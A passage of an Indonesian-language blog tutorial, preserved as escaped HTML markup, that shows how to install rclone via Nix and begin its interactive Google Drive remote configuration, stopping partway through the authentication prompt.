&lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau jika menggunakan &lt;code&gt;nix-shell&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nix-shell&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Atau jika ingin melakukan instalasi menggunakan &lt;em&gt;binary&lt;/em&gt; dari source code-nya langsung atau via script, bisa merujuk ke website &lt;code&gt;rclone&lt;/code&gt; untuk lebih detailnya:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://rclone.org/install/&quot; target=&quot;_blank&quot;&gt;https://rclone.org/install/&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Untuk memastikan &lt;code&gt;rclone&lt;/code&gt; sudah ter-&lt;em&gt;install&lt;/em&gt; di sistem kita:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--version&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;rclone succesfully installed&quot; loading=&quot;lazy&quot; width=&quot;592&quot; height=&quot;528&quot; src=&quot;/_astro/ss1.DhiOYCVU_2neJHM.webp&quot; /&gt;&lt;figcaption&gt;rclone succesfully installed&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Usage&lt;a href=&quot;#usage&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Berikut adalah cara menggunakan &lt;code&gt;rclone&lt;/code&gt;, mulai dari mengkonfigurasi hingga mengakses file. Sebagai catatan saja, semua proses ini hanya dapat dilakukan jika kita sudah memiliki akun di cloud storage tersebut.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Configuration&lt;a href=&quot;#configuration&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Karena ada lebih dari 70 cloud storage yang di-&lt;em&gt;support&lt;/em&gt; oleh &lt;code&gt;rclone&lt;/code&gt;, jadi saya hanya akan mencontohkan 6 diantaranya saja. Btw, semua konfigurasi cloud storage kita akan disimpan di &lt;code&gt;~/.config../images/rclone/rclone.conf&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;Untuk memastikan lokasi file konfigurasinya, kita bisa periksa dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;config&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;file&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;rclone config location check&quot; loading=&quot;lazy&quot; width=&quot;638&quot; height=&quot;332&quot; src=&quot;/_astro/ss3.DwQ8SpfD_Z1IGfK1.webp&quot; /&gt;&lt;figcaption&gt;rclone config location check&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;section&gt;&lt;h4&gt;1. Google Drive&lt;a href=&quot;#1-google-drive&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;blockquote&gt;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/&quot; target=&quot;_blank&quot;&gt;Google Drive&lt;/a&gt; menyediakan [&lt;strong&gt;15 GB&lt;/strong&gt;] penyimpanan gratis kepada penggunanya.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Persyaratan yang perlu dipenuhi:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;token&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Berikut adalah langkah-langkah (yang paling sederhana) untuk mengkonfigurasi Google Drive.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;config&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Selanjutnya, kita akan diarahkan pada proses interaktif:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;No&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;remotes&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;found,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;make&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;new&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;one?&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;n&lt;/span&gt;&lt;span&gt;) New remote&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;r&lt;/span&gt;&lt;span&gt;) Rename remote&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;c&lt;/span&gt;&lt;span&gt;) Copy remote&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;s&lt;/span&gt;&lt;span&gt;) Set configuration password&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;q&lt;/span&gt;&lt;span&gt;) Quit config&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;n/r/c/s/q&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;n&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;gdrive&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# ini boleh diisi sesuai nama yang ingin kalian buat.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Type&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;of&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;storage&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;to&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;configure.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Choose&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;number&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;from&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;below,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;or&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;type&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;your&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;own&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;value&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[snip]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;XX&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Google&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Drive&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;drive&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[snip]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Storage&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;drive&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Google&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Application&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Client&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Id&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;leave&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;blank&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;normally.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;client_id&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Google&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Application&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Client&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Secret&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;leave&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;blank&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;normally.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;client_secret&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Scope&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;that&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;should&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;use&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;when&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;requesting&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;access&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;from&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;drive.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Choose&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;number&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;from&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;below,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;or&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;type&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;your&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;own&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;value&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Full&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;access&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;all&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;files,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;excluding&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Application&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Data&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Folder.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;drive&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Read-only&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;access&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;to&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;file&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;and&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;file&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;contents.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;drive.readonly&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Access&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;to&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;files&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;created&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;by&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;only.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt; | &lt;/span&gt;&lt;span&gt;These&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;are&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;visible&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;the&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;drive&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;website.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;   &lt;/span&gt;&lt;/span&gt;&lt;span&gt;| &lt;/span&gt;&lt;span&gt;File&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;authorization&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;is&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;revoked&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;when&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;the&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;user&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;deauthorizes&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;the&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;app.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;drive.file&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Allows&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;read&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;and&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;write&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;access&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;to&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;the&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Application&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Data&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;folder.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt; | &lt;/span&gt;&lt;span&gt;This&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;is&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;not&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;visible&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;the&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;drive&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;website.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;drive.appfolder&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Allows&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;read-only&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;access&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;to&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;file&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;but&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;span&gt; | &lt;/span&gt;&lt;span&gt;does&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;not&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;allow&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;any&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;access&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;to&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;read&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;or&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;download&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;file&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;content.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;35&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;drive.metadata.readonly&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;36&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;scope&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;37&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Service&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Account&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Credentials&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;JSON&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;file&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;path&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;needed&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;only&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;you&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;want&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;use&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;SA&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;instead&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;of&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;interactive&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;login.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;38&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;service_account_file&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;39&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Remote&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;config&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;40&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Use&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;web&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;browser&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;to&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;automatically&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;authenticate&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; 